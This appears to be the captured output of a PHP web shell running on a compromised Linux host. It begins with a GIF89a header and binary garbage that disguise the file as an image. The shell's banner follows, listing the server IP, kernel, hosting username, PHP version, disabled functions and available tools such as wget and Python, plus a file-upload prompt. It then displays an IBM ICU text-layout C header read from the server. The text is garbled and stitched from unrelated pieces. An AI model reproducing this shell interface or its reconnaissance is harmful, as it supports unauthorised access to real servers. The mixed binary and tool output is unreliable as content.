GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 3.145.35.234 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /usr/include/layout/ |
Upload File : |
/* * * (C) Copyright IBM Corp. 1998-2011 - All Rights Reserved * */ #ifndef __LOENGINE_H #define __LOENGINE_H #include "LETypes.h" #ifndef U_HIDE_INTERNAL_API /** * \file * \brief C API for complex text layout. * \internal * * This is a technology preview. The API may * change significantly. * */ /** * The opaque type for a LayoutEngine. * * @internal */ typedef void le_engine; /** * The opaque type for a font instance. * * @internal */ typedef void le_font; /** * This function returns an le_engine capable of laying out text * in the given font, script and langauge. Note that the LayoutEngine * returned may be a subclass of LayoutEngine. * * @param font - the font of the text * @param scriptCode - the script of the text * @param languageCode - the language of the text * @param typo_flags - flags that control layout features like kerning and ligatures. * @param success - output parameter set to an error code if the operation fails * * @return an le_engine which can layout text in the given font. * * @internal */ U_INTERNAL le_engine * U_EXPORT2 le_create(const le_font *font, le_int32 scriptCode, le_int32 languageCode, le_int32 typo_flags, LEErrorCode *success); /** * This function closes the given LayoutEngine. After * it returns, the le_engine is no longer valid. * * @param engine - the LayoutEngine to close. * * @internal */ U_INTERNAL void U_EXPORT2 le_close(le_engine *engine); /** * This routine will compute the glyph, character index and position arrays. * * @param engine - the LayoutEngine * @param chars - the input character context * @param offset - the offset of the first character to process * @param count - the number of characters to process * @param max - the number of characters in the input context * @param rightToLeft - TRUE if the characers are in a right to left directional run * @param x - the initial X position * @param y - the initial Y position * @param success - output parameter set to an error code if the operation fails * * @return the number of glyphs in the glyph array * * Note: The glyph, character index and position array can be accessed * using the getter routines below. * * Note: If you call this function more than once, you must call the reset() * function first to free the glyph, character index and position arrays * allocated by the previous call. * * @internal */ U_INTERNAL le_int32 U_EXPORT2 le_layoutChars(le_engine *engine, const LEUnicode chars[], le_int32 offset, le_int32 count, le_int32 max, le_bool rightToLeft, float x, float y, LEErrorCode *success); /** * This function returns the number of glyphs in the glyph array. Note * that the number of glyphs will be greater than or equal to the number * of characters used to create the LayoutEngine. * * @param engine - the LayoutEngine * @param success - output parameter set to an error code if the operation fails. * * @return the number of glyphs in the glyph array * * @internal */ U_INTERNAL le_int32 U_EXPORT2 le_getGlyphCount(le_engine *engine, LEErrorCode *success); /** * This function copies the glyph array into a caller supplied array. * The caller must ensure that the array is large enough to hold all * the glyphs. * * @param engine - the LayoutEngine * @param glyphs - the destiniation glyph array * @param success - set to an error code if the operation fails * * @internal */ U_INTERNAL void U_EXPORT2 le_getGlyphs(le_engine *engine, LEGlyphID glyphs[], LEErrorCode *success); /** * This function copies the character index array into a caller supplied array. * The caller must ensure that the array is large enough to hold a * character index for each glyph. * * @param engine - the LayoutEngine * @param charIndices - the destiniation character index array * @param success - set to an error code if the operation fails * * @internal */ U_INTERNAL void U_EXPORT2 le_getCharIndices(le_engine *engine, le_int32 charIndices[], LEErrorCode *success); /** * This function copies the character index array into a caller supplied array. * The caller must ensure that the array is large enough to hold a * character index for each glyph. * * @param engine - the LayoutEngine * @param charIndices - the destiniation character index array * @param indexBase - an offset that will be added to each index. * @param success - set to an error code if the operation fails * * @internal */ U_INTERNAL void U_EXPORT2 le_getCharIndicesWithBase(le_engine *engine, le_int32 charIndices[], le_int32 indexBase, LEErrorCode *success); /** * This function copies the position array into a caller supplied array. * The caller must ensure that the array is large enough to hold an * X and Y position for each glyph, plus an extra X and Y for the * advance of the last glyph. * * @param engine - the LayoutEngine * @param positions - the destiniation position array * @param success - set to an error code if the operation fails * * @internal */ U_INTERNAL void U_EXPORT2 le_getGlyphPositions(le_engine *engine, float positions[], LEErrorCode *success); /** * This function returns the X and Y position of the glyph at * the given index. * * Input parameters: * @param engine - the LayoutEngine * @param glyphIndex - the index of the glyph * * Output parameters: * @param x - the glyph's X position * @param y - the glyph's Y position * @param success - set to an error code if the operation fails * * @internal */ U_INTERNAL void U_EXPORT2 le_getGlyphPosition(le_engine *engine, le_int32 glyphIndex, float *x, float *y, LEErrorCode *success); /** * This function frees the glyph, character index and position arrays * so that the LayoutEngine can be reused to layout a different * characer array. (This function is also called by le_close) * * @param engine - the LayoutEngine * @param success - set to an error code if the operation fails * * @internal */ U_INTERNAL void U_EXPORT2 le_reset(le_engine *engine, LEErrorCode *success); #endif /* U_HIDE_INTERNAL_API */ #endif